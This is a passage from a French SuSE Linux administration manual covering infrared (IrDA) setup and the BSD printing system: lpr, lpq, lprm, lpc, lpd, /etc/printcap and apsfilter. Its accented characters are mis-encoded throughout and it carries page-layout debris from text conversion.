______________________________________________________________________11.3.__IrDA_~_Infrared_Data_Association_______________*
*______________________
Avec IRDA`PORT (par dΘfaut /dev/ttyS1 ) et IRDA_IRQ (valeur par dΘ-
faut 3 ), vous pouvez configurer l'interface utilisΘe pour IrDA. Ceci est dΘter-
minΘ au moyen du script /etc/irda/drivers lors de l'activation du support
infrarouge.
Si vous positionnez START`IRDA α yes , le support de l'interface infrarouge
est disponible immΘdiatement aprΦs l'amorτage. Malheureusement IrDA re-
quiert nettement plus de courant (de batterie) car un paquet ``Discovery''
est envoyΘ toutes les quelques secondes pour reconnaεtre automatiquement
d'autres pΘriphΘriques.
Utilisation
Si l'on veut par exemple imprimer par infrarouge, il est possible de trans-
mettre les donnΘes par le biais du fichier de pΘriphΘrique /dev/irlpt0. Le
fichier de pΘriphΘrique /dev/irlpt0 se comporte de la mΩme maniΦre que
l'interface normale /dev/lp0 α cette diffΘrence prΦs que les donnΘes d'im-
pression sont transmises sans cΓble par lumiΦre infrarouge
Une imprimante utilisΘe α l'aide d'une interface infrarouge peut Ωtre mise en
place avec YaST comme une imprimante sur port parallΦle ou sur port sΘrie
(voir paragraphe 3.6.1 page 101). Lorsque vous imprimez, veillez α ce que
l'imprimante se trouve dans le champ de vision de l'interface infrarouge de
l'ordinateur et que le support infrarouge soit activΘ.
Si l'on veut communiquer α travers une interface infrarouge avec d'autres ma-
chines ou par exemple avec des tΘlΘphones cellulaires ou autres appareils si-
milaires, ceci peut se faire α l'aide du fichier de pΘriphΘrique /dev/ircomm0.
Avec le S25 de Siemens, par exemple, il est possible de se connecter α Internet
sans cΓble et par infrarouge α l'aide du programme wvdial .
RΘsolution de problΦmes
Dans le cas o∙ les pΘriphΘriques ne rΘagiraient pas α l'infrarouge, vous pouvez
contr⌠ler, en lanτant la commande irdadump en tant qu'utilisateur `root',
si l'autre pΘriphΘrique est reconnu par l'ordinateur :
terre: # irdadump
Avec une imprimante Canon BJC-80 dans le ``champ de vision'' de la machine
terre, il apparaεt une sortie semblable α celle ci-dessous qui se rΘpΦte α
intervalles rΘguliers (voir affichage 11.3.1 page suivante).
Si aucune sortie n'apparaεt ou si l'autre pΘriphΘrique ne rΘpond pas, vΘri-
fiez la configuration de l'interface. ╩tes-vous s√r d'utiliser l'interface qui
convient ? Quelquefois l'interface infrarouge se trouve aussi sous /dev/
ttyS2 ou /dev/ttyS3 ou bien une interruption autre que l'interruption 3 est
utilisΘe. Vous pouvez configurer ces paramΦtres pour presque tous les laptops
dans le Setup du BIOS.
Notez aussi que vous ne pouvez accΘder sans problΦme qu'α des pΘriphΘ-
riques qui supportent les protocoles Printer ou IrCOMM . Avec des pro-
grammes spΘciaux (irobex_palm3 , irobex_receive (voyez la description
dans IR-HOWTO), vous pouvez aussi accΘder α des pΘriphΘriques qui utilisent
*
* 331
11. Notebooks ~ PCMCIA,_APM,_IrDA_________________________________________________________________________________________________*
*_______________________________________@
________________________________________________________________________________________________________*
*________||
| 21:41:38.435239 xid:cmd 5b62bed5 > ffffffff S=6 s=0 (14) *
* |
||21:41:38.525167 xid:cmd 5b62bed5 > ffffffff S=6 s=1 (14) *
* ||
| 21:41:38.615159 xid:cmd 5b62bed5 > ffffffff S=6 s=2 (14) *
* |
| 21:41:38.705178 xid:cmd 5b62bed5 > ffffffff S=6 s=3 (14) *
* |
| *
* |
| 21:41:38.795198 xid:cmd 5b62bed5 > ffffffff S=6 s=4 (14) *
* |
| 21:41:38.885163 xid:cmd 5b62bed5 > ffffffff S=6 s=5 (14) *
* |
| *
* |
| 21:41:38.965133 xid:rsp 5b62bed5 < 6cac38dc S=6 s=5 BJC-80 \ *
* |
| hint=8804 [ Printer IrCOMM ] (23) *
* |
| *
* |
| 21:41:38.975176 xid:cmd 5b62bed5 > ffffffff S=6 s=* erde \ *
* |
| hint=0500 [ PnP Computer ] (21) *
* |
|_______________________________________________________________________________________________________*
*________ |
affichage α l'Θcran 11.3.1: IrDA : irdadump
le protocole IROBEX (par exemple 3Com Palm Pilot). Les protocoles suppor-
tΘs par chaque pΘriphΘrique sont spΘcifiΘs entre crochets aprΦs les noms de
pΘriphΘriques lors de la sortie de irdadump . Le support pour le protocole
IrLAN est en cours de dΘveloppement ~ il n'est malheureusement pas encore
stable actuellement mais sera sans doute dans un proche avenir disponible
sous Linux.
Avec une simple camΘra vidΘo, vous pouvez aussi contr⌠ler si les diodes
infrarouges s'allument ~ contrairement α l'oeil humain, la plupart des camΘras
vidΘo peuvent ``voir'' la lumiΦre infrarouge.
332
Chapitre 12
L'impression
Dans le cadre de l'installation avec YaST , vous avez probablement dΘjα
effectuΘ votre premiΦre configuration d'imprimante sous Linux (voir para-
graphe 3.6.1 page 101). Le prΘsent chapitre vous montre l'essentiel de ce qui
se passe ``dans les coulisses'' : il ne dΘcrit pas chaque dΘtail, mais il est suffi-
samment dΘtaillΘ pour que vous puissiez comprendre dans les grandes lignes
le dΘroulement du processus d'impression.
12.1 Vue d'ensemble : Interfaces, files d'impression (spooling)
Les ports parallΦles
La connexion d'une imprimante α un systΦme Linux se fait en gΘnΘral sur port
parallΦle.
Il existe, depuis la version 2.2.xx du noyau, un sous-systΦme parport auquel
on doit faire connaεtre les interfaces parallΦles en chargeant des pilotes sup-
plΘmentaires spΘcifiques α l'architecture du systΦme (voir paragraphe 10.4.3
page 307 et pages suivantes). Il est donc maintenant possible d'utiliser simul-
tanΘment plusieurs pΘriphΘriques en chaεne au moyen d'un port parallΦle. En
outre, la numΘrotation des fichiers de pΘriphΘriques commence maintenant,
de faτon standard, par /dev/lp0 ! Pour qu'il soit possible d'imprimer en
utilisant le premier port parallΦle, les modules parport, parport_pc et lp
doivent Ωtre chargΘs dans le noyau standard de SuSE . Cette tΓche est assumΘe,
en gΘnΘral automatiquement, par kmod (angl. Kernel Module Loader) (voir
paragraphe 13.2 page 361) dΦs qu'une requΩte d'impression est envoyΘe. Si
le port parallΦle n'est pas dΘtectΘ, vous pouvez rΘsoudre ce problΦme en spΘ-
cifiant des paramΦtres du noyau. Voir aussi la page 398.
Pour tester le port et l'imprimante, vous pouvez, avec une commande telle
que
terre: # echo hello > /dev/lp0
ou
terre: # cat FICHIER_TEXTE >/dev/lp0
transmettre directement des donnΘes au port, mais seulement sous le compte
`root' (+ administrateur systΦme). Pour une utilisation normale, cette pro-
cΘdure est parfaitement inadΘquate dans un systΦme multitΓche car il faut
s'attendre α ce que plusieurs processus veuillent se servir au mΩme moment
de l'imprimante, ce qui risque de provoquer un chaos Θpouvantable. Au lieu
*
* 333
12. L'impression _________________________________________________________________________________________________________________*
*_______________________________________@
de cela, les travaux soumis α l'imprimante seront exΘcutΘs aprΦs avoir d'abord
ΘtΘ mis en attente dans une file d'impression (angl. queue).
Les ports fonctionnent de faτon standard en mode interrogation (angl. pol-
ling), ce qui signifie que le CPU doit leur demander rΘguliΦrement si un
transfert de donnΘes doit se faire. L'administrateur systΦme `root' peut,
lors du chargement du systΦme parport ou α l'aide du systΦme de fichiers
/proc, les convertir au mode interruption qui donne de meilleurs rΘsultats.
Il peut Θgalement, avec le programme tunelp , procΘder α d'autres paramΘ-
trages qui permettront d'accroεtre la performance. Voir la page de man de
tunelp (man tunelp ) ainsi que, dans les sources du noyau, les documents
mentionnΘs au paragraphe 10.4.3 page 307 et pages suivantes. VΘrifiez toute-
fois auparavant le rΘglage des IRQ et du port sur le matΘriel d'interface. Ceci
se fait la plupart du temps dans le BIOS ou par des cavaliers (angl. jumpers) !
Spool, files d'impression
Sous Linux, tout comme sous d'autres systΦmes multitΓches, il est accΘdΘ aux
imprimantes par un mΘcanisme de spool (files d'impression). Cela signifie que
les travaux d'impression sont d'abord stockΘs dans des fichiers temporaires
et exΘcutΘs les uns aprΦs les autres sous le contr⌠le d'un programme de com-
mande (dΘmon). Plusieurs utilisateurs peuvent ainsi soumettre simultanΘment
des travaux d'impression sans qu'il se produise de conflits. AprΦs avoir sou-
mis un travail d'impression, l'utilisateur peut continuer α travailler sans Ωtre
obligΘ d'attendre l'imprimante.
Un file d'impression est constituΘe par
~ une entrΘe dans /etc/printcap, qui dΘfinit la file d'impression ;
~ un rΘpertoire, situΘ habituellement sous /var/spool/lpd, dans lequel
un fichier de donnΘes et un fichier de contr⌠le sont prΘvus pour chaque
travail d'impression.
Chaque file d'impression est prise en charge par une imprimante. Il est pos-
sible de crΘer plusieurs files d'impression pour une seule et mΩme impri-
mante.
SuSE Linux inclut le systΦme de spool BSD de l'University of California
at Berkeley dans le paquetage lprold. Il a ΘtΘ expressΘment conτu pour
l'utilisation en rΘseau et requiert la configuration et la mise en oeuvre de
TCP/IP. Pour la configuration, cela ne fait pas grande diffΘrence que les files
d'impression soient installΘes et utilisΘes sur des machines locales ou des
machines distantes.
L'exΘcution d'un travail d'impression sous Linux se dΘroule en trois phases :
~ Le fichier de donnΘes est copiΘ dans un rΘpertoire de la file d'impression
et complΘtΘ par un fichier de contr⌠le pour devenir un travail (angl. job).
~ Le fichier de donnΘes est envoyΘ, conformΘment au fichier de contr⌠le, α
travers un filtre qui s'en sert pour Θlaborer toute une sΘrie d'instructions
pour l'imprimante concernΘe. Cela signifie que le programme filtre gΘnΦre
un flot de donnΘes dans un format gΘrΘ par l'imprimante, par exemple
PostScript, PCL, Esc/P2 etc. Cette conversion peut comporter plus d'une
seule phase et sous SuSE Linux elle est prise en charge par apsfilter (pa-
quetage aps). Voir plus loin paragraphe 12.3 page 339 et pages suivantes.
334
_________________________________________12.2.__Files_d'impression_:_fonctionnement_et_configuration________________________*
*______________________
~ Le fichier spΘcifique α l'imprimante sera sorti en fonction de son ordre
d'entrΘe dans la file d'impression.
12.2 Files d'impression : fonctionnement et configuration
Voyons maintenant par quelles Θtapes doit passer une requΩte d'impression
pour parvenir du fichier de l'utilisateur α l'imprimante et quels sont les pro-
grammes qui s'en occupent successivement.
Vous trouverez dans la page de man de lpr (man 1 lpr ), la page de man
de lpd (man 8 lpd ) et la page de man de printcap (man 5 printcap )
bon nombre de dΘtails que nous ne pouvons pas Θvoquer ici pour ne pas trop
allonger ce chapitre.
La plupart du temps (ainsi que cela a ΘtΘ fait dans les pages de man mention-
nΘes ci-dessus), on dΘsigne pour faciliter les choses et parce que cela semble
logique α l'utilisateur, une file d'impression par ``nom d'imprimante'' ou plus
simplement encore par ``imprimante''. C'est ce que nous allons faire dans la
suite de ce chapitre bien que cela ne soit pas tout α fait exact sur le plan
technique.
lpr : └ la queue s'il vous plaεt !
lpr est ``l'interface utilisateur'' ordinaire qui communique avec les files d'im-
pression. En gΘnΘral, un travail d'impression est soumis par une simple com-
mande telle que
tux@terre: > lpr [-Pimprimante] fichier_texte
Si vous avez omis l'option -P (``Printer'' pour le nom de la file d'impression,
c'est-α-dire le nom d'imprimante), la valeur par dΘfaut sera celle contenue
dans la variable d'environnement PRINTER. Si celle-ci est vide, le nom stan-
dard traditionnel d'imprimante lp sera utilisΘ. Ceci s'applique Θgalement α
lpq et lprm (voir plus bas).
_______________________________________________________________________________________________________________________
|||||||| Entre l'option -P et le nom d'imprimante imprimante , il ne doit y avoir || |
|||||||| || |
|||||||| aucun espace. || |
||||||||_______________________________________________________________________________________________________________||_
lpr vΘrifie, au moyen du fichier /etc/printcap, si la file d'impression spΘ-
cifiΘe existe bien. Si c'est le cas, il crΘe pour le travail d'impression un fichier
de contr⌠le (fichier cf) ainsi qu'une copie du fichier de donnΘes et les trans-
met au gestionnaire d'impression lpd qui inclut le travail dans le rΘpertoire
de spool de la file d'impression.
Si vous avez de gros travaux d'impression α faire, il peut Ωtre utile, α la place
d'une copie de votre fichier de donnΘes, de faire crΘer dans le rΘpertoire de
spool un lien symbolique pointant sur celui-ci. L'option lpr -s se charge de
cette opΘration. Vous devrez naturellement renoncer α tout accΦs en Θcriture α
ce fichier tant que le travail d'impression ne sera pas encore terminΘ !
lpr vous permet, α l'aide d'une option complΘmentaire, de sΘlectionner ma-
nuellement un filtre dΘterminΘ (pilote d'imprimante) pour votre travail (ceci
devrait toutefois Ωtre rarement nΘcessaire). Pour plus de dΘtails, reportez-vous
α la page de man concernant lpr et au paragraphe 12.3 page 339 sur les filtres.
*
* 335
12. L'impression _________________________________________________________________________________________________________________*
*_______________________________________@
Outils complΘmentaires et outils de contr⌠le pour l'utilisateur : Vue d'en-
semble
Pour gΘrer la file d'impression, il existe le joli programme graphique du pa-
quetage xlpq, sΘrie xap. Notez toutefois que les outils de ligne de commande
mentionnΘs par la suite peuvent faire encore plus grΓce α des options supplΘ-
mentaires.
________________________________________________________________________________________________________*
*________||
| Les manipulations effectuΘes dans les files d'impression requiΦrent les *
* ||||
| *
* |||
| droits `root'. Cela signifie que vous devez travailler en tant que `root' *
* |||
| si vous voulez, par exemple, effacer des requΩtes d'impression qui ne sont *
* |||
| *
* |||
| pas les v⌠tres. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
~ lpq montre α l'utilisateur ses travaux dans une file d'impression (option
-P ), par exemple l'entrΘe
tux@terre: > lpq -Pimprimante
donne le rΘsultat prΘsentΘ dans l'affichage 12.2.1.
________________________________________________________________________________________________________*
*________||
| imprimanteRaisnkreadyOwandneprintingr Job Files Total Size *
* |
| *
* |
| active tux 676 Hallo.txt 259420 bytes *
* |
| 1st tux 677 lettre.dvi 11578 bytes *
* |
| 2nd tux 683 image.gif 37464 bytes *
* |
|_______________________________________________________________________________________________________*
*________ |
affichage α l'Θcran 12.2.1: Exemple de sortie de la commande lpq .
~ lprm annule les travaux de l'utilisateur dans la file d'impression, par
exemple, l'entrΘe
tux@terre: > lprm -Pimprimante 676
donne le rΘsultat prΘsentΘ dans l'affichage 12.2.2.
________________________________________________________________________________________________________*
*________||
| dfA676Aa05005 dequeued *
* |
| cfA676Aa05005 dequeued *
* |
|_______________________________________________________________________________________________________*
*________ |
affichage α l'Θcran 12.2.2: Exemple de sortie de la commande lprm .
Si aucun numΘro de travail n'a ΘtΘ spΘcifiΘ, c'est le travail actuellement
actif, s'il appartient α l'utilisateur, qui est supprimΘ de la file d'impression.
~ lpc (chemin /usr/sbin/lpc) contr⌠le les files d'impression. Pour le
nom d'imprimante, on peut aussi spΘcifier all (= toutes). Les options
les plus importantes sont :
~ status imprimante Donne un rapport d'Θtat. Si la mention
imprimante est omise, cela produit le mΩme rΘsultat que all , c'est-
α-dire rapport d'Θtat pour toutes les files d'impression.
~ disable imprimante EmpΩche l'entrΘe de tout nouveau travail
dans la file d'impression.
~ enable imprimante Autorise de nouveaux travaux α intΘgrer la file
d'impression.
336
_________________________________________12.2.__Files_d'impression_:_fonctionnement_et_configuration________________________*
*______________________
~ stop imprimante ArrΩte l'impression des travaux qui se trouvent
dans la file d'impression (le travail en cours d'impression sera encore
terminΘ).
~ start imprimante Reprend l'impression des travaux qui se
trouvent dans la file d'impression.
~ down imprimante Donne le mΩme rΘsultat que disable plus stop .
~ up imprimante Donne le mΩme rΘsultat que enable plus start .
~ abort imprimante Donne le mΩme rΘsultat que down avec cette
diffΘrence qu'un travail en cours d'impression est immΘdiatement ar-
rΩtΘ. Les travaux restent cependant dans la file d'impression et peuvent
continuer α Ωtre exΘcutΘs aprΦs un redΘmarrage de la file d'impression
(up ).
Vous pouvez insΘrer ces commandes dans la ligne de commande de lpc
(par exemple lpc status ). Ou vous pouvez appeler lpc sans paramΦtre :
ceci provoquera le dΘmarrage d'une boεte de dialogue avec sa propre
invite lpc qui requiert l'entrΘe de commandes lpc . Avec quit ou exit
vous terminerez le dialogue.
_______________________________________________________________________________________________________________________||
|||||||| Les requΩtes d'impression demeurent dans la file mΩme si au cours d'une ||| |
|||||||| procΘdure d'impression vous arrΩtez dΘlibΘrΘment votre machine pour rΘ- || |
|||||||| || |
|||||||| amorcer ensuite Linux ~ pour supprimer de la file d'impression une requΩte || |
|||||||| Θventuellement erronΘe, vous devez utiliser les commandes qui ont ΘtΘ prΘ- || |
|||||||| || |
|||||||| sentΘes plus haut. || |
||||||||_______________________________________________________________________________________________________________||_
lpd : le gestionnaire d'impression en arriΦre-plan
Le lpd (angl. Line Printer Daemon) est activΘ lors du dΘmarrage du systΦme
par le script /sbin/init.d/lpd si la variable START_LPD=yes a ΘtΘ posi-
tionnΘe dans le fichier /etc/rc.config. Il tourne comme dΘmon en tΓche
de fond.
lpd reconnaεt, α l'aide du fichier /etc/printcap, quelles files d'impression
(imprimantes) sont dΘfinies. Sa tΓche consiste α organiser l'exΘcution des
travaux en attente.
~ il gΦre les files d'impression locales : il envoie le fichier de donnΘes de
chaque travail α travers le filtre appropriΘ (dΘterminΘ par l'entrΘe de la file
d'impression dans /etc/printcap et par des spΘcifications explicites
dans le fichier de contr⌠le du travail d'impression) et le passe ensuite α
l'interface de l'imprimante ;
~ il tient compte de l'ordre de classement des travaux dans la file d'impres-
sion ;
~ il supervise l'Θtat des files d'impression et des imprimantes (fichier
status dans les rΘpertoires de spool locaux) et fournit α la demande des
informations α ce sujet ;
~ il transmet les travaux des files d'impression de machines distantes au lpd
distant ;
*
* 337
12. L'impression _________________________________________________________________________________________________________________*
*_______________________________________@
~ il reτoit les travaux d'impression de machines distantes pour les files
d'impression locales ou il les refuse si l'autorisation n'est pas suffisante.
Autorisation : Seules les requΩtes provenant d'h⌠tes distants (angl. remote)
listΘs dans le fichier /etc/hosts.lpd du ``serveur d'impression'' sont prises
en compte. Une entrΘe de l'h⌠te dans /etc/hosts.equiv est aussi suffi-
sante, mais cela influe dans une trΦs large mesure sur les possibilitΘs d'accΦs
de cet h⌠te α la machine locale et devrait si possible Ωtre ΘvitΘ pour des raisons
de sΘcuritΘ. Voir le paragraphe 18.2.2 page 479 sur la sΘcuritΘ. Des ajouts
dans la dΘfinition de la file d'impression peuvent restreindre le droit d'ac-
cΦs aux seuls utilisateurs d'un groupe prΘcis ou aux utilisateurs possΘdant un
compte sur la machine locale.
Filtres : les bΩtes de somme
Les programmes filtres ont pour tΓche de convertir le fichier de donnΘes d'un
travail en un format gΘrΘ par l'imprimante (pour la configuration, voir para-
graphe 12.3 page ci-contre). Ce sont eux qui se taillent la part du lion dans le
traitement proprement dit du travail d'impression. Ils correspondent ainsi, de
par leur fonction, aux pilotes d'imprimantes sous d'autres systΦmes tels que
Windows ou OS/2. Outre cela, ils doivent, α la demande, tenir les comptes
des travaux d'impression (volume, consommation de matΘriel : : :).
/etc/printcap : Configuration des files d'impression
Dans le fichier /etc/printcap, chaque file d'impression disponible est dΘ-
finie par une entrΘe. Le caractΦre de saut de ligne termine l'entrΘe : ceci peut
toutefois - pour les entrΘes longues - Ωtre invalidΘ par une barre oblique inver-
sΘe `\' placΘe immΘdiatement avant. L'entrΘe commence par un ou plusieurs
noms pour la file d'impression (barre verticale de sΘparation `|') suivis d'une
liste de spΘcifications de la forme1 abrΘviation =<valeur> (caractΦres sΘ-
parateurs de listes ` :' ). Les lignes vides et celles qui commencent par le
caractΦre # sont ignorΘes (commentaires).
Le fichier prΘinstallΘ /etc/printcap contient dΘjα un certain nombre d'en-
trΘes exemples (commentΘes). Une entrΘe toute simple sans aucun filtre res-
semble α celle du fichier 12.2.1.
________________________________________________________________________________________________________*
*________
| ascii|deskjet:lp=/dev/lp0:sd=/var/spool/lpd/ascii:sh:mx#10240 *
* |
| *
* |
|_______________________________________________________________________________________________________*
*________ |
fichier 12.2.1: /etc/printcap : simple file d'impression locale
Il peut Ωtre accΘdΘ α cette file d'impression sous le nom ascii et deskjet.
Votre rΘpertoire de spool est /var/spool/lpd/ascii, votre pΘriphΘrique
d'impression /dev/lp0. Elle ne donne pas de pages d'en-tΩte au dΘbut des
travaux (sh signifie ``suppress header'') et accepte des travaux d'impression
pouvant atteindre 10240 Ko. Vous trouverez un exemple de file d'impression
sur une machine distante dans le fichier 12.2.2 page ci-contre. Pour la confi-
_____________________________________________1
Toutes les abrΘviations ainsi que leur signification sont ΘnumΘrΘes dans la page de man de
printcap (man printcap ).
338
____________________________________________________________12.3.__Filtres_d'impression_~_le_filtre_``apsfilter''___________*
*______________________
guration, voir paragraphe 12.4 page 346 et pages suivantes.2
_______________________________________________________________________________________________________________________||
|||||||| lp1|HP-4P:\ |
|||||||| :rm=soleil.cosmos.univers:\ |
|||||||| |
|||||||| :rp=HP:\ |
|||||||| :sd=/var/spool/lpd/lp1:\ |
|||||||| :mx#0:sh |
||||||||_______________________________________________________________________________________________________________ |
fichier 12.2.2: /etc/printcap : simple file d'impression distante
La file d'impression a les noms lp1 et HP-4P . Au lieu de spΘcifier le pΘri-
phΘrique (lp= ) on fait ici rΘfΘrence α l'h⌠te soleil.cosmos.univers et α
sa file d'impression. Les spΘcifications concernant les filtres ne sont pas nΘ-
cessaires - ceci incombe α la file d'impression sur soleil.cosmos.univers.
En consΘquence, il n'a ΘtΘ dΘfini ici que le rΘpertoire de spool /var/spool/
lpd/lp1 et la restriction concernant la taille des travaux (mx#0 signifie : au-
cune restriction).
Si vous utilisez apsfilter , les nouvelles files d'impression nΘcessaires seront
enregistrΘes automatiquement, lors de la configuration, dans le fichier /etc/
printcap. Plus de dΘtails au paragraphe 12.3 page 341.
12.3 Filtres d'impression
Que sont les filtres d'impression et comment fonctionnent-ils ?
Comme nous l'avons dit prΘcΘdemment, la tΓche d'un filtre d'impression
consiste α convertir le fichier de donnΘes d'un travail en un format gΘrΘ par
l'imprimante utilisΘe.
Les seules informations complΘmentaires qu'un filtre reτoit, lors de l'appel
par lpd , concernent la taille du papier, le nom de login et l'h⌠te de l'utilisateur
qui soumet le travail ainsi que le nom du fichier de comptabilitΘ. En tant
que vΘritable filtre UNIX, il reτoit le fichier de donnΘes par l'entrΘe standard
(stdin) et doit fournir le rΘsultat imprimable par la sortie standard (stdout).
Pour la conversion, le filtre doit naturellement savoir quel est le format de
fichier des donnΘes (ASCII-Text, DVI, PostScript etc.). Il existe plusieurs
moyens d'y parvenir.
~ Le filtre est assez ``intelligent'' pour reconnaεtre, α l'aide des donnΘes,
de quel format il s'agit. Il est composΘ d'un ``prΘfiltre'' pour la recon-
naissance du format et de plusieurs autres programmes qui rΘalisent la
conversion proprement dite.
Ceci constitue ~ grosso modo ~ la tΓche du programme apsfilter qui, sous
SuSE Linux, est prΘvu de faτon standard pour l'installation.
~ DiffΘrents filtres pour diffΘrents formats de fichiers. Les filtres sont as-
signΘs α la file d'impression par une entrΘe dans /etc/printcap. C'est
2 ____________________________________________________
Les barres obliques inversΘes `\' qui prΘcΘdent immΘdiatement la coupure de ligne ``camou-
flent'' cette derniΦre ~ exactement comme lors de l'entrΘe des commandes de shell ~ de telle sorte
que l'entrΘe est considΘrΘe ne comporter qu'une seule ligne.
*
* 339
12. L'impression _________________________________________________________________________________________________________________*
*_______________________________________@
l'utilisateur qui fait le choix par une option complΘmentaire lors de l'appel
de lpr . Huit possibilitΘs sont prΘvues :
__EntrΘe_printcap__|____________if=_____cf=_______df=______gf=_______nf=______rf=______tf=_____vf=*
*______
Option lpr | -c -d -g -n -f -t -v
Ces options sont traditionnellement3 assignΘes α des formats tout α fait
particuliers de fichiers (ce n'est que l'assignation de l'option lpr pour
l'entrΘe du filtre qui est obligatoire et non la tradition4 ). Par exemple,
if= dΘsigne le filtre standard et df= le filtre pour fichiers DVI (sortie de
TEX etALTEX). Vous pourriez ainsi, avec l'entrΘe que vous voyez dans le
fichier 12.3.1, fournir α la HP LaserJet 4 un propre filtre DVI si le paque-
tage te_dvilj est installΘ (il est cependant recommandable aujourd'hui,
mΩme avec cette imprimante, de donner la prΘfΘrence au ``pilote'' ljet4 ).
________________________________________________________________________________________________________*
*________
| df="/usr/bin/dvilj4 -e- -" *
* |
|_______________________________________________________________________________________________________*
*________ |
fichier 12.3.1: EntrΘe d'un filtre DVI dans /etc/printcap
apsfilter
Avec apsfilter, le paquetage aps met α votre disposition un filtre trΦs com-
mode. apsfilter tire profit des circonstances suivantes :
~ Le format standard utilisΘ dans le monde Unix pour donnΘes imprimables
est PostScript.
~ Il existe toute une sΘrie d'outils qui convertissent les autres formats de
fichiers texte et fichiers image, par exemple dvips pour les fichiers DVI,
a2ps pour les fichiers ASCII, le paquetage netpbm, sΘrie gra pour les
donnΘes graphiques, etc.
~ Il existe Θgalement le puissant programme Ghostscript qui est capable de
convertir des fichiers PostScript vers un grand nombre de formats gΘrΘs
par les imprimantes non PostScript (en quelque sorte une vaste collection
de pilotes d'imprimantes).
apsfilter regroupe, dans une mΩme gestion, tous ces programmes avec les
outils nΘcessaires pour la reconnaissance du format (file ) et la dΘcompression.
Il dirige les donnΘes entrΘes, en tenant compte du format qui a ΘtΘ reconnu, au
travers de chacun des outils nΘcessaires jusqu'α la sortie sur le pΘriphΘrique
d'impression.
Dans /var/lib/apsfilter/apsfilter qui est le script de commandes
(shell-script) central, il est fait mention des formats de fichiers et des types
de compression supportΘs :
~ ASCII, DVI, PS, Data (PCL, : : :), GIF, TIFF, PBM, Sun Raster, X11-
Bitmap
~ Types de compression : compress , gzip , freeze
_____________________________________________3
voir la page de man concernant lpr.
4 Ainsi, par exemple, l'entrΘe d'un ``filtre zΘro'' cf=/bin/cat est tout α fait admissible et elle
sera utilisΘe si vous lancez la commande lpr -c
340
____________________________________________________________12.3.__Filtres_d'impression_~_le_filtre_``apsfilter''___________*
*______________________
Les files d'impression d'apsfilter
Le programme apsfilter propose pour une imprimante locale les files d'im-
pression suivantes (noms d'imprimantes) :
lp File d'impression standard pour tous les formats de fichiers.
lp-mono Seulement pour imprimantes couleur. Imprime en noir et blanc, α
part cela, identique α lp : pour tous les formats de fichiers.
ascii Pour l'impression de fichiers comme fichiers texte ASCII, mΩme si le
systΦme de spool suppose qu'il s'agit d'un autre format5 .
raw Pour l'impression de fichiers qui sont dΘjα d'un format gΘrΘ par l'impri-
mante : il n'y a alors (pratiquement) aucune conversion.
Vous pouvez aussi configurer plusieurs autres imprimantes locales. Les
noms des files d'impression comprennent, pour faire la distinction, le nom
du pilote d'imprimante Ghotscript correspondant, par exemple djet500 ,
djet500-ascii , djet500-raw etc.
Fichiers ASCII : Dans le fichier /etc/apsfilterrc la configuration par
dΘfaut pour le filtrage est la suivante :
~ Conversion de fichiers ASCII vers PostScript avec a2ps
~ Format a2ps : 2 pages ASCII l'une α c⌠tΘ de l'autre en format horizontal
sur une page imprimΘe.
Vous pouvez modifier le format en attribuant α la variable FEATURE une autre
des valeurs qui sont proposΘes dans le commentaire. Si vous voulez absolu-
ment Θviter la conversion vers PostScript et imprimer dans le mode ASCII de
l'imprimante, supprimez le signe de commentaire # au dΘbut de la ligne de
commande USE_RECODE_NOT_A2PS=yes et assurez-vous que le paquetage
recode, sΘrie ap est installΘ.
apsfilter : configuration
apsfilter peut Ωtre configurΘ avec YaST ou avec son propre script SETUP
(lprsetup ) pilotΘ par menu.
_______________________________________________________________________________________________________________________||
|||||||| La configuration ne fonctionne vraiment bien que si, dans le fichier ||| |
|||||||| /etc/printcap, les identifiants commentΘs au dΘbut et α la fin des en- || |
|||||||| || |
|||||||| trΘes apsfilter ne sont pas modifiΘs (voir fichier 12.3.2 page suivante) ! || |
||||||||_______________________________________________________________________________________________________________||_
Configuration avec YaST
C'est la mΘthode normale pour la mise en place d'une imprimante locale.
S'il existe dΘjα une configuration apsfilter , YaST demande au dΘbut si la
nouvelle configuration doit remplacer l'ancienne ou si elle doit y Ωtre ajoutΘe.
Le dΘroulement de la procΘdure a dΘjα ΘtΘ dΘcrit dans le paragraphe 3.6.1
page 101 relatif α YaST .
Si vous faites installer votre nouvelle configuration, il se passera alors ce
qui suit (que vous ayez dΘfini la configuration avec YaST ou avec SETUP
(lprsetup )) :
5 ____________________________________________________
En prΘsence, par exemple, de caractΦres accentuΘs
*
* 341
12. L'impression _________________________________________________________________________________________________________________*
*_______________________________________@
~ EntrΘe des nouvelles files d'impression dans /etc/printcap (voir page
prΘcΘdente).
~ CrΘation d'un rΘpertoire de spool sous /var/spool/lpd/.
~ CrΘation des filtres d'impression appropriΘs sous /var/lib/apsfilter/
bin/(il s'agit ici de liens symboliques sur le fichier /var/lib/
apsfilter/apsfilter).
~ CrΘation du fichier global de configuration /etc/apsfilterrc (s'il
n'existe pas dΘjα) et d'un fichier de configuration spΘcifique α l'impri-
mante /etc/apsfilterrc.<gs_mode> . Ici, <gs`mode> est le nom
de l'imprimante Ghostscript, tel que bjc800 dans l'exemple qui va
suivre.
Un exemple pour les entrΘes de nouvelles files d'impression vous est prΘsentΘ
dans|le fichier 12.3.2, pour l'imprimante Canon BubbleJet800. *
* |
________________________________________________________________________________________________________*
*________||||
| ### BEGIN apsfilter: ### bjc800 a4 mono 360 ### *
* |
| # Warning: Configured for apsfilter, do not edit the labels! *
* |
| # apsfilter setup Thu Sep 18 11:40:40 MEST 1997 *
* |
| *
* |
| # *
* |
| ascii|lp1|bjc800-a4-ascii-mono-360|bjc800 a4 ascii mono 360:\ *
* |
| *
* |
| :lp=/dev/lp0:\ *
* |
| :sd=/var/spool/lpd/bjc800-a4-ascii-mono-360:\ *
* |
| *
* |
| :lf=/var/spool/lpd/bjc800-a4-ascii-mono-360/log:\ *
* |
| :af=/var/spool/lpd/bjc800-a4-ascii-mono-360/acct:\ *
* |
| *
* |
| :if=/var/lib/apsfilter/bin/bjc800-a4-ascii-mono-360:\ *
* |
| :la@:mx#0:\ *
* |
| *
* |
| :sh:sf: *
* |
| # *
* |
| *
* |
| lp|lp2|bjc800-a4-auto-mono-360|bjc800 a4 auto mono 360:\ *
* |
| # [ ... abrΘgΘ ... ] *
* |
| # *
* |
| *
* |
| raw|lp3|bjc800-a4-raw|bjc800 a4 raw:\ *
* |
| # [ ... abrΘgΘ ... ] *
* |
| *
* |
| # *
* |
| # *
* |
| *
* |
| ### END apsfilter: ### bjc800 a4 mono 360 ### *
* |
|_______________________________________________________________________________________________________*
*________ |
